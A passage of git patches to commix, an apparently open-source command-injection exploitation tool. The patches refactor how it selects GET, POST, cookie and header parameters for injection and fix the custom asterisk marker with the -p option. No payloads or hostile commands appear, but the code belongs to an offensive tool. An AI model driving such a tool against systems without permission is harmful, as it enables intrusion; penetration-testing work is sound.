'--headers/--user-agent/--referer/--cookie'" if menu.options.cookie and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.cookie: settings.CUSTOM_INJECTION_MARKER = settings.COOKIE_INJECTION = settings.INJECTION_MARKER_LOCATION.COOKIE = True diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 350beaa4e9..b9c2b51a11 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -471,6 +471,67 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file if not settings.LOAD_SESSION: http_headers_injection(url, http_request_method, filename, timesec) +""" +Perform the injection proccess +""" +def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec): + + # Check if multiple parameters + check_parameters = [] + for i in range(0, len(found)): + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = found[i] + check_parameter = parameters.vuln_POST_param(found[i], url) + if data_type == settings.HTTPMETHOD.GET: + url = found[i] + check_parameter = parameters.vuln_GET_param(url) + if data_type == settings.COOKIE: + menu.options.cookie = found[i] + check_parameter = parameters.specify_cookie_parameter(found[i]) + check_parameters.append(check_parameter) + + checks.testable_parameters(url, check_parameters, header_name) + + for i in range(0, len(found)): + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = found[i] + check_parameter = parameters.vuln_POST_param(found[i], url) + if data_type == settings.HTTPMETHOD.GET: + url = found[i] + check_parameter = parameters.vuln_GET_param(url) + if data_type == settings.COOKIE: + menu.options.cookie = found[i] + check_parameter = parameters.specify_cookie_parameter(found[i]) + if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: + if len(check_parameter) > 0: + settings.TESTABLE_PARAMETER = check_parameter + if len(settings.TESTABLE_PARAMETER) > 0: + if menu.options.test_parameter != None: + counter = 0 + for check_parameter in check_parameters: + if settings.TEST_PARAMETER.count(check_parameter) != 0: + if data_type == settings.HTTPMETHOD.POST: + menu.options.data = found[counter] + check_parameter = parameters.vuln_POST_param(menu.options.data, url) + if data_type == settings.HTTPMETHOD.GET: + url = found[counter] + check_parameter = parameters.vuln_GET_param(url) + if data_type == settings.COOKIE: + menu.options.cookie = found[counter] + check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + counter += 1 + break + else: + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + else: + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) """ Cookie injection @@ -478,7 +539,6 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file def cookie_injection(url, http_request_method, filename, timesec): settings.COOKIE_INJECTION = True - # Cookie Injection if settings.COOKIE_INJECTION: cookie_value = menu.options.cookie @@ -489,45 +549,9 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters_list = [] cookie_parameters_list.append(cookie_parameters) cookie_parameters = cookie_parameters_list - # Remove whitespaces cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] - - check_parameters = [] - for i in range(0, len(cookie_parameters)): - menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - check_parameters.append(check_parameter) - - checks.testable_parameters(url, check_parameters, header_name) - - for i in range(0, len(cookie_parameters)): - parameter = menu.options.cookie = cookie_parameters[i] - check_parameter = parameters.specify_cookie_parameter(parameter) - if check_parameter != parameter: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TEST_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - menu.options.cookie = cookie_parameters[param_counter] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) if settings.COOKIE_INJECTION == True: # Restore cookie value @@ -541,44 +565,14 @@ def cookie_injection(url, http_request_method, filename, timesec): def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) - if found_url != False: - - check_parameters = [] - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - check_parameters.append(check_parameter) + header_name = "" - header_name = "" - checks.testable_parameters(url, check_parameters, header_name) + if type(found_url) is str: + found_url = [] + found_url_list.append(found_url) + found_url = found_url - for i in range(0, len(found_url)): - url = found_url[i] - check_parameter = parameters.vuln_GET_param(url) - if check_parameter != url and check_parameter not in settings.SKIP_PARAMETER: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - url_counter = 0 - for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - url = found_url[url_counter] - check_parameter = parameters.vuln_GET_param(url) - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - url_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) """ Check if HTTP Method is POST. @@ -587,58 +581,21 @@ def post_request(url, http_request_method, filename, timesec): parameter = settings.USER_DEFINED_POST_DATA found_parameter = parameters.do_POST_check(parameter, http_request_method) + header_name = "" - # Check if singe entry parameter if type(found_parameter) is str: found_parameter_list = [] found_parameter_list.append(found_parameter) found_parameter = found_parameter_list - if settings.IS_JSON or settings.IS_XML: + if any((settings.IS_JSON, settings.IS_XML)): # Remove junk data found_parameter = [x for x in found_parameter if settings.INJECT_TAG in x] else: # Remove whitespaces found_parameter = [x.replace(settings.SINGLE_WHITESPACE, "") for x in found_parameter] - # Check if multiple parameters - check_parameters = [] - for i in range(0, len(found_parameter)): - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - check_parameters.append(check_parameter) - - header_name = "" - checks.testable_parameters(url, check_parameters, header_name) - - for i in range(0, len(found_parameter)): - #if settings.INJECT_TAG in found_parameter[i]: - parameter = menu.options.data = found_parameter[i] - check_parameter = parameters.vuln_POST_param(parameter, url) - if check_parameter != parameter and check_parameter not in settings.SKIP_PARAMETER: - if len(check_parameter) > 0: - settings.TESTABLE_PARAMETER = check_parameter - # Check if testable parameter(s) are provided - if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: - param_counter = 0 - for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - menu.options.data = found_parameter[param_counter] - check_parameter = parameters.vuln_POST_param(menu.options.data, url) - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - param_counter += 1 - break - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) - else: - # Check for session file - check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + do_injection(found_parameter, settings.HTTPMETHOD.POST, header_name, url, http_request_method, filename, timesec) """ Perform GET / POST parameters checks @@ -662,7 +619,9 @@ def data_checks(url, http_request_method, filename, timesec): Perform checks over cookie values. """ def cookies_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or settings.COOKIE_INJECTION: + if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or \ + settings.INJECTION_MARKER_LOCATION.COOKIE or \ + settings.COOKIE_INJECTION: if not settings.SKIP_NON_CUSTOM: cookie_injection(url, http_request_method, filename, timesec) @@ -670,7 +629,9 @@ def cookies_checks(url, http_request_method, filename, timesec): Perform checks over HTTP Headers parameters. """ def headers_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or settings.HTTP_HEADERS_INJECTION or any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): + if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or \ + settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.HTTP_HEADERS_INJECTION or \ + any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): if not settings.SKIP_NON_CUSTOM: http_headers_injection(url, http_request_method, filename, timesec) diff --git a/src/utils/settings.py b/src/utils/settings.py index 8a3a21c6dc..dbb64cfe50 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "74" +REVISION = "75" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From cd55cc54308a8b28aa488ef1cde9dc6e1239b4cd Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 25 Jun 2024 07:12:15 +0300 Subject: [PATCH 0472/1023] Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 26 +++--- src/core/injections/controller/controller.py | 83 +++++++++----------- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 25 +++--- src/utils/settings.py | 6 +- 6 files changed, 72 insertions(+), 71 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index b469e35b43..8dbfda995e 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Fixed: Minor bug-fix regarding combining custom injection marker (i.e. asterisk `*`) with `-p` option. * Revised: Improvement regarding specifying multiple injection points by appending custom injection marker (i.e. asterisk `*`). * Fixed: Minor bug-fix regarding crawler (i.e. option `--crawl`). * Updated: Six (third party) module has been updated (Python 3.12 support). diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index a0b5862e37..7c08046d11 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -152,7 +152,7 @@ def process_custom_injection_data(data): Check for custom injection marker character ('*'). """ def custom_injection_marker_character(url, http_request_method): - _ = False + _ = settings.CUSTOM_INJECTION_MARKER = False if url and settings.CUSTOM_INJECTION_MARKER_CHAR in url: option = "'-u'" _ = settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.URL = settings.USER_DEFINED_URL_DATA = True @@ -172,7 +172,7 @@ def custom_injection_marker_character(url, http_request_method): elif menu.options.host and settings.CUSTOM_INJECTION_MARKER_CHAR in menu.options.host: settings.CUSTOM_INJECTION_MARKER = settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS = settings.HOST_INJECTION = True elif settings.CUSTOM_HEADER_CHECK and settings.CUSTOM_HEADER_CHECK != settings.ACCEPT: - if settings.CUSTOM_HEADER_CHECK not in settings.TEST_PARAMETER: + if settings.CUSTOM_HEADER_CHECK not in settings.TESTABLE_PARAMETERS_LIST: settings.CUSTOM_INJECTION_MARKER = True else: settings.CUSTOM_HEADER_INJECTION = True @@ -537,7 +537,7 @@ def PCRE_e_modifier(parameter, http_request_method): """ def ignore_anticsrf_parameter(parameter): if any(parameter.lower().count(token) for token in settings.CSRF_TOKEN_PARAMETER_INFIXES): - if not any(parameter for token in settings.TEST_PARAMETER): + if not any(parameter for token in settings.TESTABLE_PARAMETERS_LIST): if (len(parameter.split("="))) == 2: info_msg = "Ignoring the parameter '" + parameter.split("=")[0] info_msg += "' that appears to hold anti-CSRF token '" + parameter.split("=")[1] + "'." @@ -1292,26 +1292,26 @@ def check_provided_parameters(): if menu.options.test_parameter != None : if menu.options.test_parameter.startswith("="): menu.options.test_parameter = menu.options.test_parameter[1:] - settings.TEST_PARAMETER = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + settings.TESTABLE_PARAMETERS_LIST = menu.options.test_parameter.split(settings.PARAMETER_SPLITTING_REGEX) elif menu.options.skip_parameter != None : if menu.options.skip_parameter.startswith("="): menu.options.skip_parameter = menu.options.skip_parameter[1:] - settings.TEST_PARAMETER = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) + settings.TESTABLE_PARAMETERS_LIST = menu.options.skip_parameter.split(settings.PARAMETER_SPLITTING_REGEX) - for i in range(0,len(settings.TEST_PARAMETER)): - if "=" in settings.TEST_PARAMETER[i]: - settings.TEST_PARAMETER[i] = settings.TEST_PARAMETER[i].split("=")[0] + for i in range(0,len(settings.TESTABLE_PARAMETERS_LIST)): + if "=" in settings.TESTABLE_PARAMETERS_LIST[i]: + settings.TESTABLE_PARAMETERS_LIST[i] = settings.TESTABLE_PARAMETERS_LIST[i].split("=")[0] """ Remove skipped parameters """ def remove_skipped_params(url, check_parameters): testable_parameters = list(set(check_parameters) - set(menu.options.skip_parameter.split(","))) - settings.TEST_PARAMETER = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX)] + settings.TESTABLE_PARAMETERS_LIST = [x for x in testable_parameters if x not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX)] _ = [] for parameter in check_parameters: - if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).split(settings.PARAMETER_SPLITTING_REGEX): + if parameter not in settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).split(settings.PARAMETER_SPLITTING_REGEX): _.append(parameter) if _: info_msg = "Skipping " + check_http_method(url) + " parameter" + ('', 's')[len(_) > 1] + " '" + str(", ".join(_)) + "'." @@ -1327,11 +1327,11 @@ def testable_parameters(url, check_parameters, header_name): remove_skipped_params(url, check_parameters) _ = False - if len([i for i in settings.TEST_PARAMETER if i in check_parameters]) == 0: + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in check_parameters]) == 0: _ = True - if settings.TEST_PARAMETER and isinstance(settings.TEST_PARAMETER, list): - testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TEST_PARAMETER).replace(settings.SINGLE_WHITESPACE, "") + if settings.TESTABLE_PARAMETERS_LIST and isinstance(settings.TESTABLE_PARAMETERS_LIST, list): + testable_parameters = settings.PARAMETER_SPLITTING_REGEX.join(settings.TESTABLE_PARAMETERS_LIST).replace(settings.SINGLE_WHITESPACE, "") testable_parameters = testable_parameters.split(settings.PARAMETER_SPLITTING_REGEX) non_exist_param = list(set(testable_parameters) - set(check_parameters)) if _ and settings.TESTABLE_PARAMETERS != False: diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index b9c2b51a11..dc4911a06c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -280,7 +280,7 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time basic_level_checks() inject_http_headers = check_parameter_in_http_header(check_parameter) - + # User-Agent/Referer/Host/Custom HTTP header Injection(s) if check_parameter.startswith(settings.SINGLE_WHITESPACE): header_name = "" @@ -309,6 +309,9 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time settings.CHECKING_PARAMETER += str(header_name) + str(the_type) + str(inject_parameter) else: settings.CHECKING_PARAMETER += str(the_type) + str(header_name) + str(inject_parameter) + + if check_parameter in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST: + settings.CHECKING_PARAMETER = "(custom) " + settings.CHECKING_PARAMETER info_msg = "Setting " + settings.CHECKING_PARAMETER + " for tests." print(settings.print_info_msg(info_msg)) @@ -476,9 +479,7 @@ def stored_http_header_injection(url, check_parameter, http_request_method, file """ def do_injection(found, data_type, header_name, url, http_request_method, filename, timesec): - # Check if multiple parameters - check_parameters = [] - for i in range(0, len(found)): + def define_check_parameter(found, i, url): if data_type == settings.HTTPMETHOD.POST: menu.options.data = found[i] check_parameter = parameters.vuln_POST_param(found[i], url) @@ -488,46 +489,45 @@ def do_injection(found, data_type, header_name, url, http_request_method, filena if data_type == settings.COOKIE: menu.options.cookie = found[i] check_parameter = parameters.specify_cookie_parameter(found[i]) + return url, check_parameter + + # Check if multiple parameters + check_parameters = [] + for i in range(0, len(found)): + url, check_parameter = define_check_parameter(found, i, url) check_parameters.append(check_parameter) checks.testable_parameters(url, check_parameters, header_name) for i in range(0, len(found)): - if data_type == settings.HTTPMETHOD.POST: - menu.options.data = found[i] - check_parameter = parameters.vuln_POST_param(found[i], url) - if data_type == settings.HTTPMETHOD.GET: - url = found[i] - check_parameter = parameters.vuln_GET_param(url) - if data_type == settings.COOKIE: - menu.options.cookie = found[i] - check_parameter = parameters.specify_cookie_parameter(found[i]) + url, check_parameter = define_check_parameter(found, i, url) if check_parameter != found[i] and check_parameter not in settings.SKIP_PARAMETER: if len(check_parameter) > 0: settings.TESTABLE_PARAMETER = check_parameter if len(settings.TESTABLE_PARAMETER) > 0: - if menu.options.test_parameter != None: + if settings.TESTABLE_PARAMETERS_LIST and not settings.CUSTOM_INJECTION_MARKER: + counter = 0 + for check_parameter in check_parameters: + if settings.TESTABLE_PARAMETERS_LIST.count(check_parameter) != 0: + url, check_parameter = define_check_parameter(found, counter, url) + # Check for session file + check_for_stored_sessions(url, http_request_method) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) + counter += 1 + break + elif settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST and settings.CUSTOM_INJECTION_MARKER: counter = 0 for check_parameter in check_parameters: - if settings.TEST_PARAMETER.count(check_parameter) != 0: - if data_type == settings.HTTPMETHOD.POST: - menu.options.data = found[counter] - check_parameter = parameters.vuln_POST_param(menu.options.data, url) - if data_type == settings.HTTPMETHOD.GET: - url = found[counter] - check_parameter = parameters.vuln_GET_param(url) - if data_type == settings.COOKIE: - menu.options.cookie = found[counter] - check_parameter = parameters.specify_cookie_parameter(menu.options.cookie) + if settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.count(check_parameter) != 0: + url, check_parameter = define_check_parameter(found, counter, url) # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) counter += 1 break else: - # Check for session file check_for_stored_sessions(url, http_request_method) - injection_proccess(url, check_parameter, http_request_method, filename, timesec) + injection_proccess(url, check_parameter, http_request_method, filename, timesec) else: # Check for session file check_for_stored_sessions(url, http_request_method) @@ -538,10 +538,10 @@ def do_injection(found, data_type, header_name, url, http_request_method, filena """ def cookie_injection(url, http_request_method, filename, timesec): - settings.COOKIE_INJECTION = True - # Cookie Injection - if settings.COOKIE_INJECTION: - cookie_value = menu.options.cookie + cookie_value = menu.options.cookie + if cookie_value: + settings.COOKIE_INJECTION = True + # Cookie Injection header_name = settings.SINGLE_WHITESPACE + settings.COOKIE settings.HTTP_HEADER = header_name[1:].lower() cookie_parameters = parameters.do_cookie_check(menu.options.cookie) @@ -553,7 +553,7 @@ def cookie_injection(url, http_request_method, filename, timesec): cookie_parameters = [x.replace(settings.SINGLE_WHITESPACE, "") for x in cookie_parameters] do_injection(cookie_parameters, settings.COOKIE, header_name, url, http_request_method, filename, timesec) - if settings.COOKIE_INJECTION == True: + if settings.COOKIE_INJECTION: # Restore cookie value menu.options.cookie = cookie_value # Disable cookie injection @@ -567,12 +567,8 @@ def get_request(url, http_request_method, filename, timesec): found_url = parameters.do_GET_check(url, http_request_method) header_name = "" - if type(found_url) is str: - found_url = [] - found_url_list.append(found_url) - found_url = found_url - - do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) + if found_url != False: + do_injection(found_url, settings.HTTPMETHOD.GET, header_name, url, http_request_method, filename, timesec) """ Check if HTTP Method is POST. @@ -619,7 +615,7 @@ def data_checks(url, http_request_method, filename, timesec): Perform checks over cookie values. """ def cookies_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in str(menu.options.cookie)]) != 0 or \ + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in str(menu.options.cookie)]) != 0 or \ settings.INJECTION_MARKER_LOCATION.COOKIE or \ settings.COOKIE_INJECTION: if not settings.SKIP_NON_CUSTOM: @@ -629,7 +625,7 @@ def cookies_checks(url, http_request_method, filename, timesec): Perform checks over HTTP Headers parameters. """ def headers_checks(url, http_request_method, filename, timesec): - if len([i for i in settings.TEST_PARAMETER if i in settings.HTTP_HEADERS]) != 0 or \ + if len([i for i in settings.TESTABLE_PARAMETERS_LIST if i in settings.HTTP_HEADERS]) != 0 or \ settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS or settings.HTTP_HEADERS_INJECTION or \ any((settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION)): if not settings.SKIP_NON_CUSTOM: @@ -698,19 +694,18 @@ def perform_checks(url, http_request_method, filename): headers_checks(url, http_request_method, filename, timesec) if settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS: custom_headers_checks(url, http_request_method, filename, timesec) - if settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA \ - or settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL: + if settings.TESTABLE_PARAMETERS_LIST or (settings.USER_DEFINED_POST_DATA and not settings.INJECTION_MARKER_LOCATION.DATA) or (settings.USER_DEFINED_URL_DATA and not settings.INJECTION_MARKER_LOCATION.URL): checks.process_non_custom() if not settings.SKIP_NON_CUSTOM: settings.CUSTOM_INJECTION_MARKER = False - if not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.URL or not settings.INJECTION_MARKER_LOCATION.DATA: data_checks(url, http_request_method, filename, timesec) if _: - if not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.COOKIE and menu.options.level >= settings.COOKIE_INJECTION_LEVEL and menu.options.cookie: settings.COOKIE_INJECTION = True cookies_checks(url, http_request_method, filename, timesec) - if not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: + if settings.TESTABLE_PARAMETERS_LIST or not settings.INJECTION_MARKER_LOCATION.HTTP_HEADERS and menu.options.level > settings.COOKIE_INJECTION_LEVEL: settings.HTTP_HEADERS_INJECTION = True headers_checks(url, http_request_method, filename, timesec) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 04dabbef50..af46d2ac85 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -398,7 +398,7 @@ def do_check(request): if settings.CUSTOM_INJECTION_MARKER_CHAR in http_header_value: settings.CUSTOM_INJECTION_MARKER = True - if http_header_name in settings.TEST_PARAMETER or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: + if http_header_name in settings.TESTABLE_PARAMETERS_LIST or settings.INJECT_TAG in http_header_value or settings.ASTERISK_MARKER in http_header_value: settings.INJECTION_MARKER_LOCATION.CUSTOM_HTTP_HEADERS = True settings.CUSTOM_HEADER_CHECK = http_header_name if len(http_header_name) != 0 and \ diff --git a/src/core/requests/parameters.py b/src/core/requests/parameters.py index 2f2b0fff02..e6db9303f7 100755 --- a/src/core/requests/parameters.py +++ b/src/core/requests/parameters.py @@ -62,7 +62,7 @@ def multi_params_get_value(parameter): if "?" not in url: settings.USER_DEFINED_URL_DATA = False if settings.INJECT_TAG not in url and not menu.options.shellshock: - if len(settings.TEST_PARAMETER) != 0 or \ + if len(settings.TESTABLE_PARAMETERS_LIST) != 0 or \ menu.options.level == settings.HTTP_HEADER_INJECTION_LEVEL or \ menu.options.level == settings.COOKIE_INJECTION_LEVEL or \ settings.USER_DEFINED_POST_DATA and not settings.IGNORE_USER_DEFINED_POST_DATA: @@ -202,7 +202,8 @@ def vuln_GET_param(url): vuln_parameter = pairs[param].split("=")[0] if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -304,7 +305,7 @@ def json_format(parameter): settings.IS_XML = checks.process_data(data_type, http_request_method) settings.PARAMETER_DELIMITER = "\n" - elif settings.TEST_PARAMETER and not any(ext in parameter for ext in settings.TEST_PARAMETER) and not settings.INJECT_TAG in parameter: + elif settings.TESTABLE_PARAMETERS_LIST and not any(ext in parameter for ext in settings.TESTABLE_PARAMETERS_LIST) and not settings.INJECT_TAG in parameter: if settings.SKIP_NON_CUSTOM: settings.IGNORE_USER_DEFINED_POST_DATA = True @@ -477,7 +478,8 @@ def vuln_POST_param(parameter, url): parameters = ''.join(parameters.split(":")[0]).strip() settings.TESTABLE_VALUE = vuln_parameter = ''.join(parameters.split(settings.RANDOM_TAG)[:1]) if settings.CUSTOM_INJECTION_MARKER: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST # XML data format. elif settings.IS_XML: @@ -492,7 +494,8 @@ def vuln_POST_param(parameter, url): vuln_parameter = ''.join(_.groups()[0]) if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = result.split(settings.INJECT_TAG)[1] except Exception: pass @@ -508,7 +511,8 @@ def vuln_POST_param(parameter, url): vuln_parameter = pairs[param].split("=")[0] if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = vuln_parameter + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass @@ -682,18 +686,19 @@ def specify_cookie_parameter(cookie): pairs = cookie.split(settings.COOKIE_DELIMITER) for param in range(0,len(pairs)): if settings.INJECT_TAG in pairs[param]: - inject_cookie = pairs[param].split("=")[0] + vuln_parameter = pairs[param].split("=")[0] if settings.CUSTOM_INJECTION_MARKER: try: - settings.TEST_PARAMETER = inject_cookie + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break else: - inject_cookie = cookie - return inject_cookie + vuln_parameter = cookie + return vuln_parameter """ The user-agent based injection. diff --git a/src/utils/settings.py b/src/utils/settings.py index dbb64cfe50..b44f444c3b 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "75" +REVISION = "76" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -373,8 +373,8 @@ class 